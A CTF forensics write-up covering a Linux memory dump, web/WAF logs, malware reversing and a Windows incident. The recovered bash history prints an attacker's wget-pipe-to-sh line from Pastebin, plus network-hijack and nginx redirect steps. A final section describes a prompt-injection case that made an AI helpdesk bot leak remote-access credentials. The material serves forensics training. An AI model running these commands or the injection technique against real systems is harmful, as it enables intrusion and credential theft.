Holmes CTF 2025

The Tunnel Without Walls

A memory dump from a connected Linux machine reveals covert network connections, fake services, and unusual redirects. Holmes investigates further to uncover how the attacker is manipulating the entire network!

In this challenge, we’re given the linux memory dump. We can follow this writeup to start use Volatility for analyzing the given memory dump of linux. In order to retrieve the flag, we must answer a series of questions.

vol -f memdump.mem banners.Banners
Volatility 3 Framework 2.23.0
Progress:  100.00		PDB scanning finished                  
Offset	Banner

0x67200200	Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0x7f40ba40	Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0x94358280	Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0xa9fc5ac0	Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0x12ee9c300	Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)

From that, we can know that the Linux distro is Debian and the version is 5.10.0-35-amd64. Then, we can find the symbols table for the kernel we found in this repo. Now that we have found and downloaded it, we can start the analysis!

1. What is the Linux kernel version of the provided image? (string)

We already found the linux kernel version as we run the banners.Banners plugin to found the correct symbols table, 5.10.0-35-amd64.

2. The attacker connected over SSH and executed initial reconnaissance commands. What is the PID of the shell they used? (number)

To know this, we can use linux.bash plugins to check the bash history from the linux memory dump.

vol -f memdump.mem -s ./symbol-dir/ linux.bash
Volatility 3 Framework 2.23.0
Progress:  100.00		Stacking attempts finished           
PID	Process	CommandTime	Command

13608	bash	2025-09-03 08:16:48.000000 UTC	id
13608	bash	2025-09-03 08:16:52.000000 UTC	 
13608	bash	2025-09-03 08:16:52.000000 UTC	cat /etc/os-release 
13608	bash	2025-09-03 08:16:58.000000 UTC	uname -a
13608	bash	2025-09-03 08:17:02.000000 UTC	ip a
13608	bash	2025-09-03 08:17:04.000000 UTC	0
13608	bash	2025-09-03 08:17:04.000000 UTC	ps aux
13608	bash	2025-09-03 08:17:25.000000 UTC	docker run -v /etc/:/mnt -it alpine
13608	bash	2025-09-03 08:18:11.000000 UTC	su jm
22714	bash	2025-09-03 08:18:15.000000 UTC	poweroff
22714	bash	2025-09-03 08:18:31.000000 UTC	id
22714	bash	2025-09-03 08:18:40.000000 UTC	wget -q -O- https://pastebin.com/raw/hPEBtinX|sh
22714	bash	2025-09-03 08:19:48.000000 UTC	nano /etc/sysctl.conf 
22714	bash	2025-09-03 08:20:04.000000 UTC	sysctl --system
22714	bash	2025-09-03 08:20:15.000000 UTC	iptables -A FORWARD -i ens224 -o ens192 -j ACCEPT
22714	bash	2025-09-03 08:20:15.000000 UTC	iptables -A FORWARD -i ens192 -o ens224 -m state --state ESTABLISHED,RELATED -j ACCEPT
22714	bash	2025-09-03 08:20:16.000000 UTC	iptables -t nat -A POSTROUTING -s 192.168.211.0/24 -o ens192 -j MASQUERADE
22714	bash	2025-09-03 08:20:31.000000 UTC	apt install -y dnsmasq
22714	bash	2025-09-03 08:20:50.000000 UTC	rm /etc/dnsmasq.conf 
22714	bash	2025-09-03 08:20:56.000000 UTC	nano /etc/dnsmasq.conf
22714	bash	2025-09-03 08:21:23.000000 UTC	systemctl enable --now dnsmasq 
22714	bash	2025-09-03 08:21:30.000000 UTC	systemctl restart dnsmasq
22714	bash	2025-09-03 08:21:38.000000 UTC	cd /tmp/
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:21:42.000000 UTC	nano default.conf
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:22:03.000000 UTC	docker run -d --name jm_proxy --network host -v $(pwd)/default.conf:/etc/nginx/conf.d/default.conf:ro nginx:alpine
22714	bash	2025-09-03 08:22:17.000000 UTC	rm default.conf 
22714	bash	2025-09-03 08:22:17.000000 UTC	/home/werni
63461	bash	2025-09-03 08:26:26.000000 UTC	p멺�U
63461	bash	2025-09-03 08:26:26.000000 UTC	sudo insmod /lime-5.10.0-35-amd64.ko "path=/tmp/memdump.mem format=lime"

We know that there is some bash opened with different process. But we know that some reconnaissance command is like id, uname -a, ip a, etc. So its can be verified that the PID for the shell used is 13608.

3. After the initial information gathering, the attacker authenticated as a different user to escalate privileges. Identify and submit that user’s credentials. (user:password)

In the Volatility, there is linux plugins that can recover the cached filesystem (directories, files, symlinks) linux.pagecache.RecoverFs. After recovering all the filesystem, we can find the /etc/passwd to find the stored password. Also, we can see the bash history that the threat is switching to use jm. So we can check the /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
werni:x:1000:1000:werni,,,:/home/werni:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jm:$1$jm$poAH2RyJp8ZllyUvIkxxd0:0:0:root:/root:/bin/bash
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin

We can use hashcat with the rockyou for the wordlist to get the password.

Then, we know the password is WATSON0. And the credential is jm:WATSON0.

4. The attacker downloaded and executed code from Pastebin to install a rootkit. What is the full path of the malicious file? (/path/filename.ext)

To know this, we actually can check the hidden modules first. In the Volatility, there’s a plugins called linux.hidden_modules, it used to carves memory to find hidden kernel modules.

vol -f memdump.mem -s ./symbol-dir/ linux.hidden_modules
Volatility 3 Framework 2.23.0
Progress:  100.00		Stacking attempts finished           
Address	Name

0xffffc0aa0040	Nullincrevenge

In the recovered filesystem we already have, we can find that kernel modules to find the path.

And we can know the path is /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko.

5. What is the email account of the alleged author of the malicious file? ([email protected])

Once we know what the malicious file is, we can reverse it using the tools you are comfortable with.

Then, we know the email account of the alleged author is [email protected].

6. The next step in the attack involved issuing commands to modify the network settings and installing a new package. What is the name and PID of the package? (package name,PID)

From the bash history, we know that the threat is installing a package with command apt install -y dnsmasq. So, we can use linux.pslist plugin to know the lists the processes present in a particular linux memory image.

Volatility 3 Framework 2.23.0

OFFSET (V)	PID	TID	PPID	COMM	UID	GID	EUID	EGID	CREATION TIME	File output

0x9b33801eb000	1	1	0	systemd	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b33801ee000	2	2	0	kthreadd	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b33801e9800	3	3	2	rcu_gp	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b33801ec800	4	4	2	rcu_par_gp	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b338021c800	6	6	2	kworker/0:0H	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b3380218000	7	7	2	kworker/u4:0	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
....
0x9b32812d6000	38687	38687	1	dnsmasq	106	30	106	30	2025-09-03 08:21:30.379503 UTC	Disabled
....

So we know the PID for the dnsmasq is 38687. Then, the answer is dnsmasq,38687.

7. Clearly, the attacker’s goal is to impersonate the entire network. One workstation was already tricked and got its new malicious network configuration. What is the workstation’s hostname?

Refer to this writeup, we can do extract for the network traffic from the captured memory dump use bulk_extractor.After doing the extraction, we get the packets.pcap and we can do analyze for that to know the workstation hostname. We can use online tools like https://apackets.com to analyze the pcap file. And we get the workstation’s.

So, We can see the workstation hostname that was already tricked is PARALLAX-5-WS-3

8. After receiving the new malicious network configuration, the user accessed the City of CogWork-1 internal portal from this workstation. What is their username? (string)

With the captured network, we also can follow the HTTP protocol traffic to found the credentials for the threat used to access the City of CogWork-1 internal portal.

From that, we know the username used to login to the portal is mike.sullivan.

9. Finally, the user updated a software to the latest version, as suggested on the internal portal, and fell victim to a supply chain attack. From which Web endpoint was the update downloaded?

From the path of the malicious file, we also know the container used, 92931307-c5fd-4804-94f2-a8287e677bd6. So, we can find the log for the traffics. This question take’s time to find the correct endpoint, but after some times, we found the correct at:

cat 92931307-c5fd-4804-94f2-a8287e677bd6/var/lib/docker/containers/d4759510b68a19bfd55ecb3675bcb3fe88ae0c4a648899ff944a34a234fef2cc/d4759510b68a19bfd55ecb3675bcb3fe88ae0c4a648899ff944a34a234fef2cc-json.log

{"log":"/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration\n","stream":"stdout","time":"2025-09-03T08:22:11.382181855Z"}
{"log":"/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/\n","stream":"stdout","time":"2025-09-03T08:22:11.382224094Z"}
{"log":"/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh\n","stream":"stdout","time":"2025-09-03T08:22:11.382230667Z"}
{"log":"10-listen-on-ipv6-by-default.sh: info: can not modify /etc/nginx/conf.d/default.conf (read-only file system?)\n","stream":"stdout","time":"2025-09-03T08:22:11.382236067Z"}
{"log":"/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh\n","stream":"stdout","time":"2025-09-03T08:22:11.382241367Z"}
{"log":"/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh\n","stream":"stdout","time":"2025-09-03T08:22:11.382246396Z"}
{"log":"/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh\n","stream":"stdout","time":"2025-09-03T08:22:11.390057117Z"}
{"log":"/docker-entrypoint.sh: Configuration complete; ready for start up\n","stream":"stdout","time":"2025-09-03T08:22:11.391743736Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: using the \"epoll\" event method\n","stream":"stderr","time":"2025-09-03T08:22:11.400446211Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: nginx/1.29.1\n","stream":"stderr","time":"2025-09-03T08:22:11.400462552Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: built by gcc 14.2.0 (Alpine 14.2.0) \n","stream":"stderr","time":"2025-09-03T08:22:11.40047745Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: OS: Linux 5.10.0-35-amd64\n","stream":"stderr","time":"2025-09-03T08:22:11.400482409Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576\n","stream":"stderr","time":"2025-09-03T08:22:11.400487058Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: start worker processes\n","stream":"stderr","time":"2025-09-03T08:22:11.400651246Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: start worker process 21\n","stream":"stderr","time":"2025-09-03T08:22:11.40165961Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: start worker process 22\n","stream":"stderr","time":"2025-09-03T08:22:11.401687142Z"}
{"log":"192.168.211.52 - - [03/Sep/2025:08:25:48 +0000] \"GET /win10/update/CogSoftware/AetherDesk-v74-77.exe HTTP/1.1\" 200 12084 \"-\" \"AetherDesk/73.0 (Windows NT 10.0; Win64; x64)\" \"-\"\n","stream":"stdout","time":"2025-09-03T08:25:48.599517549Z"}

So, we know that the endpoint is /win10/update/CogSoftware/AetherDesk-v74-77.exe.

10. To perform this attack, the attacker redirected the original update domain to a malicious one. Identify the original domain and the final redirect IP address and port. (domain,IP:port)

From the workstation before, we know that the IP is 192.168.211.52. And with that IP, there is DNS connected with that

And we know, the most suspicious domain is updates.cogwork-1.net and for the redirect IP address and port, we can go back to the bash history when the threat edited the the default.conf to be used in the docker. We can check that from the recovered filesystem.

server {
    listen 80;

    location / {
        proxy_pass http://13.62.49.86:7477/;
        proxy_set_header Host jm_supply;
    }
}

So, we know that the domain is redirected to http://13.62.49.86:7477/. And the final answer is updates.cogwork-1.net,13.62.49.86:7477.

The Card

Holmes receives a breadcrumb from Dr. Nicole Vale - fragments from a string of cyber incidents across Cogwork-1. Each lead ends the same way: a digital calling card signed JM.

We’re given a couple log files with a docker. The logs are access.log, application.log and waf.log. We need to analyze the log files in order to get the answer for each question.

1. Analyze the provided logs and identify what is the first User-Agent used by the attacker against Nicole Vale’s honeypot. (string)

We can get the answer by checking the couple first lines of access.log.

Based on the log files, we know that the User-Agent that is used by the attacker is Lilnunc/4A4D - SpecterEye

2. It appears the threat actor deployed a web shell after bypassing the WAF. What is the file name? (filename.ext)

Based on the question, we can reduce our scope to analyzing only the WAF logs (since the question mentioned bypassing the WAF).

2025-05-05 09:45:56 [HIGH] waf.auth - IP 121.36.37.224 - Rule: BRUTE_FORCE_LOGIN - Action: BLOCK - IP blocked for 1 hour
2025-05-12 16:32:11 [INFO] waf.api - IP 121.36.37.224 - Rule: DEBUG_ENDPOINT_ACCESS - Action: MONITOR - Debug endpoint accessed
2025-05-12 16:32:22 [WARN] waf.api - IP 121.36.37.224 - Rule: CONFIG_DATA_ACCESS - Action: MONITOR - Configuration data requested
2025-05-12 16:32:33 [WARN] waf.api - IP 121.36.37.224 - Rule: LOG_DATA_ACCESS - Action: MONITOR - Log data access detected
2025-05-12 16:32:44 [HIGH] waf.api - IP 121.36.37.224 - Rule: ENV_VAR_EXPOSURE - Action: ALERT - Environment variable exposure detected
2025-05-15 11:23:45 [ERROR] H�D$81���� - IP 121.36.37.224 - Rule: COMMAND_INJECTION - Action: �H�k�H�-�,H�L�I���� - Unknown error
2025-05-15 11:24:12 [ERROR] H�D$81���� - IP 121.36.37.224 - Rule: COMMAND_INJECTION - Action: �H�k�H�-�,H�L�I���� - Unknown error
2025-05-15 11:24:23 [ERROR] H�D$81���� - IP 121.36.37.224 - Rule: FILE_SYSTEM_ACCESS - Action: �H�k�H�-�,H�L�I���� - Unknown error
2025-05-15 11:24:34 [ERROR] H�D$81���� - IP 121.36.37.224 - Rule: DATA_EXFILTRATION - Action: �H�k�H�-�,H�L�I���� - Unknown error
2025-05-15 11:25:01 [CRITICAL] waf.exec - IP 121.36.37.224 - Rule: WEBSHELL_DEPLOYMENT - Action: BYPASS - Web shell creation detected
2025-05-15 11:25:12 [CRITICAL] waf.exec - IP 121.36.37.224 - Rule: WEBSHELL_DEPLOYMENT - Action: BYPASS - PHP web shell temp_4A4D.php created

From the details of the log file, we can see that there’s a rule named WEBSHELL_EXECUTION and the Action is BYPASS from that message we can check the filename which is temp_4A4D.php

3. The threat actor also managed to exfiltrate some data. What is the name of the database that was exfiltrated? (filename.ext)

We can find the name of the database near the WEBSHELL_EXECUTION rule. The rule name is DATABASE_DOWNLOAD and the filename is database_dump_4A4D.sql

4. During the attack, a seemingly meaningless string seems to be recurring. Which one is it? (string)

From the previous questions, we always find 4A4D string and we suspect that 4A4D is the answer and it’s correct.

5. OmniYard-3 (formerly Scotland Yard) has granted you access to its CTI platform. Browse to the first IP:port address and count how many campaigns appear to be linked to the honeypot attack.

To solve this, we can check each campaign whether it mentions 4A4D or not. The campaigns are

• Transport Chaos
• Operation Neural Storm
• Civic Disruption
• Bio-Breach
• Quantum Heist

and the answer is 5

6. How many tools and malware in total are linked to the previously identified campaigns? (number)

To answer this question, we can just count the total number of malware and tools that are linked to each campaigns

• Transport Chaos (1 Malware)
• Operation Neural Storm (1 Tool and 1 Malware)
• Civic Disruption (1 Tool and 1 Malware)
• Bio-Breach (1 Tool and 1 Malware)
• Quantum Heist (1 Tool and 1 Malware)

and the answer is 9

7. It appears that the threat actor has always used the same malware in their campaigns. What is its SHA-256 hash? (sha-256 hash)

To solve this, we can check each indicator that is linked directly to the malware and find the hash that is used multiple times.

The answer is 7477c4f5e6d7c8b9a0f1e2d3c4b5a6f7e8d9c0b1a2f3e4d5c6b7a8f9e0d17477

8. Browse to the second IP:port address and use the CogWork Security Platform to look for the hash and locate the IP address to which the malware connects. (Credentials: nvale/CogworkBurning!)

To solve this question, we can search the hash using the platform on the second docker ip:port address and find the IP address

The answer is 74.77.74.77

9. What is the full path of the file that the malware created to ensure its persistence on systems? (/path/filename.ext)

To find the file, we can view the details using the same platform from question number 8 and find the path.

The answer is /opt/lilnunc/implant/4a4d_persistence.sh

10. Finally, browse to the third IP:port address and use the CogNet Scanner Platform to discover additional details about the TA’s infrastructure. How many open ports does the server have?

To solve this, we can use the third ip:port from the docker and search the 74.77.74.77 on the platform.

Based on the search, the number of open ports are 11

11. Which organization does the previously identified IP belong to? (string)

To solve this question, we can click the details button and find the name of the organization

The answer is SenseShield MSP

12. One of the exposed services displays a banner containing a cryptic message. What is it? (string)

To solve this question, we can check the Services tab and find the unique banner

The answer is He's a ghost I carry, not to haunt me, but to hold me together - NULLINC REVENGE

The Payload

With the malware extracted, Holmes inspects its logic. The strain spreads silently across the entire network. Its goal? Not destruction-but something more persistent…friends. NOTE: The downloaded file is active malware. Take the necessary precautions when attempting this challenge.

1. During execution, the malware initializes the COM library on its main thread. Based on the imported functions, which DLL is responsible for providing this functionality? (filename.ext)

Load the given malware to a decompiler, here I used IDA.

Fortunately, we have the PDB file, so reversing the malware is easier. As seen in the image above, in the main function we find that the malware calls CoInitialize, which initializes the COM library on the current thread.

Moving to the Imports view in IDA, we find that the function comes from the ole32 library. So the answer is ole32.dll.

2. Which GUID is used by the binary to instantiate the object containing the data and code for execution? (********-****-****-****-************)

Early in the main function, we can see there is CoCreateInstance. Based on the official documentation on Microsoft, the first argument of the function is rclsid. So the answer is DABCD999-1234-4567-89AB-1234567890FF.

3. Which .NET framework feature is the attacker using to bridge calls between a managed .NET class and an unmanaged native binary? (string)

For this question, GPT 5 helped me a lot, she said :

It’s COM interop because a native C++ client is clearly invoking a COM class that’s expected to be implemented in .NET: the code is entirely unmanaged (STL, _com_ptr_t, CoInitialize/CoCreateInstance/QueryInterface, BSTR/SysFreeString), yet it explicitly checks IsClrLoaded() and prints “CLR not loaded”—meaning the COM class behind that CLSID is supposed to trigger the CLR. That’s exactly how a managed COM server

The answer is COM Interop.

4. Which Opcode in the disassembly is responsible for calling the first function from the managed code? (** ** **)

We can see in that the first function that called from the managed code is Dummy. We can see the opcode from the hex view. So the answer is FF 50 68.

5. Identify the multiplication and addition constants used by the binary’s key generation algorithm for decryption. (*, **h)

From the pseudocoe above, we know that the malware fill the _Buf array with this equation “7 * idx + 0x42”. Later, the malware convert this array of bytes into a base64 string for xor key. So the answer for this question is 7, 42h.

6. Which Opcode in the disassembly is responsible for calling the decryption logic from the managed code? (** ** **)

We can find the decryption process inside ScanAndSpread function, the decryption process occurs in managed .NET class called Execute, the function uses ppv_1 variable and ppv_2 variable as the arguments.

If we track back the variables, ppv_2 is a encryptde base64 string and ppv_1 is coming from base64_key variable. So we assume that the managed .NET Class Execution is the decryption function. We can see the opcode in the hex view, FF 50 58.

7. Which Win32 API is being utilized by the binary to resolve the killswitch domain name? (string)

We can clearly see that the return value of getaddrinfo is used on the if branch condition, to decide wheter the malware continue the execution or exit the program. So the answer is getaddrinfo.

8. Which network-related API does the binary use to gather details about each shared resource on a server? (string)

in ScanAndSpread function the malware calls NetShareEnum(_Ptr_1->_Mypair._Myval2._Bx._Buf, 1u, (LPBYTE *)&pBuf, 0xFFFFFFFF, &entriesRead, &totalEntries, 0) to enumerate SMB shares on the target host.

The function returns an array of SHARE_INFO_1 structures in pBuf, which the code then iterates (pBuf[i].shi1_netname), filters out admin/hidden shares ending with $ symbol. This is precisely the NetShareEnum used to gather details about each shared resource on a server.

9. Which Opcode is responsible for running the encrypted payload? (** ** **)

We can see clearly the managed .NET class SendEncryptedFlag uses _PTR and block_2 variables as the arguments, if we scroll up alittle, we can see that _Ptr stores the encrypted base64 and block_2 is the base64 xor key from question 5. In the hex view, we can get tge opcode, FF 50 58.

10. Find → Block → Flag: Identify the killswitch domain, spawn the Docker to block it, and claim the flag. (HTB{*******_**********_********_*****})

From the question 9, the last arguments from SendEncryptedFlag is decryptedResult then it will be used in the getaddrinfo function from question 7 as the first arguments.

The first argument is a pNodeName that contains a host name. So, we assume that the decryptedResult variable stores killswitch domain name.

import base64

enc = base64.b64decode(b'KXgmYHMADxsV8uHiuPPB3w==')
key = []
for i in range(16):
    key.append((7*i+0x42)%256)

for i in range(len(enc)):
    print(chr(enc[i] ^ key[i % len(key)]), end='')

We got the ouput: k1v7-echosim.net. Submit the domain to the website from Docker spawn to block it and you will get the flag. The flag is HTB{Eternal_Companions_Reunited_Again}.

The Watchman’s Residue

Description

1. Scenario: With help from D.I. Lestrade, Holmes acquires logs from a compromised MSP connected to the city’s financial core. The MSP’s AI servicedesk bot looks to have been manipulated into leaking remote access keys - an old trick of Moriarty’s.
2. Executive Summary: On this case, we faced a case that an organization suffered a targeted cyber incident beginning with a malicious AI prompt injection that allowed a threat actor to extract sensitive company data, leveraging this access, the attacker attempted to log in via TeamViewer with the data from the data leaks via Prompt injection, transferred a staged tool to the victim system, and subsequently exfiltrated an important file, for the next stage, to maintain long-term access(persistance), the threat actor established persistence through a Winlogon registry modification before closing the remote session, highlighting the critical risks data leaks by AI exploitation (Prompt Injection).
3. Tools :

• Registry Explorer
• Eric Zimmerman’s tools
• Wireshark
• Timeline Explorer

How to solve?

• For this set of challenge, we are given 3 main file/folder, .kdbx file, .pcapng file, and directory from acquisition result. with theese three files/folder, we need to discover what the attacker do.
• First step, we do analyze the pcapng file, after we analyze it, we found that it seems to be a communication between an attacker and an AI chatbot.

Q1. What was the IP address of the decommissioned machine used by the attacker to start a chat session with MSP-HELPDESK-AI? (IPv4 address)

• To answer Q1, we can look up this answer from where the attacker do first suspicious chat in the AI Chatbot, which can be found in tcp.streams 39.

• As we can confirm from packet before it, there is the IP that have communication with other that have same port as the AI Chat bot app.

Q1 Answer: 10.0.69.45

Q2. What was the hostname of the decommissioned machine? (string)

• To answer Q2, we can trace up from the Q1 answer using wireshark filter ip.src == 10.0.69.45 and found out the BROWSER protocol that said the hostname.

Q2 Answer: WATSON-ALPHA-2

Q3. What was the first message the attacker sent to the AI chatbot? (string)

Q4. When did the attacker’s prompt injection attack make MSP-HELPDESK-AI leak remote management tool info? (YYYY-MM-DD HH:MM:SS)

Q5. What is the Remote management tool Device ID and password? (IDwithoutspace:Password)

Q6. What was the last message the attacker sent to MSP-HELPDESK-AI? (string)

• To answer theese 4 question we need to parse down the conversation between the attacker and the AI Model. Here are the parsed version of the conversation between the attacker and the AI Model with table format: *(this parsed chat was taken on the tcp.streams 70 on the pcap file)

• To answer Q3, note that at 2025-08-19T11:53:40.960Z, the attacker began chatting with the AI model, the previous conversation was still from the legitimate user.

Q3 Answer: Hello Old Friend

• To Answer Q4, note that at 2025-08-19T12:02:06.129Z, the AI Model leaks the cogs workstation credential.

Q4 Answer: 2025-08-19 12:02:06

• To Answer Q5, we can see the credentials from the leaked data on the Ai Model Chat

Q5 Answer: 565963039:CogWork_Central_97&65

• To answer Q6, trace the attacker’s last message in the parsed table, and the message sent at 2025-08-19T12:05:29.392Z

Q6 Answer: JM WILL BE BACK

Q7. When did the attacker remotely access Cogwork Central Workstation? (YYYY-MM-DD HH:MM:SS)

• To answer Q7, we will leave the pcap file and start analyzing the available filesystem dump. In this system, the RMM app used is TeamViewer, so we can look up the TeamViewer log file on BASEDIR\C\Program Files\TeamViewer\*
• So if we want to look up when the attacker first remotely access the workstation, we can search Net: RoutingSessions: New session string and we can reduce the possibility into this candidate.

2025/08/13 11:12:35.988  2824       3348 S0   Net: RoutingSessions: New session, SLID=7. Router: ID=658356387, IP-address="213.227.184.133".
2025/08/15 07:53:09.293  2748       3076 S0   Net: RoutingSessions: New session, SLID=23081227268653125. Router: ID=763077066, IP-address="188.172.221.75".
2025/08/20 10:58:25.323  2804       3076 S0   Net: RoutingSessions: New session, SLID=0. Router: ID=658352929, IP-address="213.227.184.140".
2025/08/20 11:25:28.949  2804       3076 S0   Net: RoutingSessions: New session, SLID=0. Router: ID=1721060383, IP-address="34.131.210.134".

• After Analyze it one by one, we found that this log fits to answer the question 2025/08/20 10:58:25.323 2804 3076 S0 Net: RoutingSessions: New session, SLID=0. Router: ID=658352929, IP-address="213.227.184.140"..This conclusion is based on the entry’s timestamp matching the previous data-leak timestamps and the username used in that session.
• But in this teamviewer logs, the timestamp provided is UTC+1, so we need to substract it first by 1 hour.
• Or you can simply, look at the Connections_incoming.txt file to see when the session starts.

Q7 Answer: 2025-08-20 09:58:25

Q8. What was the RMM Account name used by the attacker? (string)

• To answer Q8, we will start analyzing the available filesystem dump. In this system, the RMM app used is TeamViewer, so we can look up the TeamViewer log file on BASEDIR\C\Program Files\TeamViewer\*. We can clearly see the RMM Account name used by the attacker on the Connections_incoming.txt files.

Q8 Answer: James Moriarty

Q9. What was the machine’s internal IP address from which the attacker connected? (IPv4 address)

• To answer Q9, we can know the internal IP Address from which the attacker connected is from the team viewer log after the remote connection starts. This private IP appears in the TeamViewer log as the source of a NAT/UDP punch associated with the incoming session.

Q9 Answer: 192.168.69.213

Q10. The attacker brought some tools to the compromised workstation to achieve its objectives. Under which path were these tools staged? (C:\FOLDER\PATH\)

• To answer Q10, we can also see this on the teamviewer log file, On that previous suspicious session, we analyze it and found out that the path were these tools staged is in this directory:

Staged Tools

Q10 Answer: C:\Windows\Temp\safe\

Q11. Among the tools that the attacker staged was a browser credential harvesting tool. Find out how long it ran before it was closed? (Answer in milliseconds) (number)

• This is the most painfull question besides all of other question XDD, for answering this question at the end we analyze the NTUSER.dat registry to answer the question. this is the registry path that we analyze NTUSER.DAT:Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

• For the context this registry file (Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist) is a Windows Registry key that tracks user interaction with programs and shortcuts from the Windows Explorer shell

Q12 Answer: 8000

Q12. The attacker executed a OS Credential dumping tool on the system. When was the tool executed? (YYYY-MM-DD HH:MM:SS)

• To answer Q12, we first analyzed which staged file was an OS credential-dumping tool and determined that mimikatz is a widely used credential-dumping utility. After identifying this, we parsed the $J file in the Extend directory. We analyzed the $J file because the provided filesystem did not include the $MFT or any .pf files. In that parsed $J file we can see the .pf file for the mimikatz.exe

• For the context, $J file is a file that records all changes made to files and directories on an NTFS volume (create, delete, rename, modify, etc.), stored in the USN Change Journal at C:\$Extend\$UsnJrnl. It acts as an append-only log of filesystem activity. .pf file is a file that stores Windows Prefetch data, located in C:\Windows\Prefetch\. It contains information about how an application was executed (path, run count, last run time, accessed DLLs/resources) to help Windows speed up subsequent launches.

Q12 Answer: 2025-08-20 10:07:08

Q13. The attacker exfiltrated multiple sensitive files. When did the exfiltration start? (YYYY-MM-DD HH:MM:SS)

• To answer Q13, we can look again on the teamviewer log. As you can see below screenshot, the attacker do the exfiltration on some sesitives data. Like previous ways, we look at tvnetwork::StreamManagerInternals to know when it starts

List of exfiltrated Files

Q13 Answer: 2025-08-20 10:12:07

Q14. Before exfiltration, several files were moved to the staged folder. When was the Heisen-9 facility backup database moved to the staged folder for exfiltration? (YYYY-MM-DD HH:MM:SS)

• To answer Q14, we need to look up into the $J file again, as we know before, the exfiltration data that related with Heisen-9 is Heisen-9 remote snapshot.kdbx. So we look up that file on the parsed $J file. and found out the correct timestamp when the backup database moved to the staged folder.

Q14 Answer: 2025-08-20 10:11:09

Q15. When did the attacker access and read a txt file, which was probably the output of one of the tools they brought, due to the naming convention of the file? (YYYY-MM-DD HH:MM:SS)

• Same as Question 14, we need to look up into the $J file again, as we know before, the exfiltration data that related with txt and output things is dump.txt . So we look up that file on the parsed $J file. and found out the correct timestamp when the attacker access and read it.

Q15 Answer: 2025-08-20 10:08:06

Q16. The attacker created a persistence mechanism on the workstation. When was the persistence setup? (YYYY-MM-DD HH:MM:SS)

• For attacker’s persistances, we look up each possibilities about persistances we know and found out something suspicious in one of the registry, espescially winlogon registry

• In that winlogon registry, there is JM.exe that previously known as the attackers tools that staged in the victim’s device. For answer the question we just submit the last write timestamp

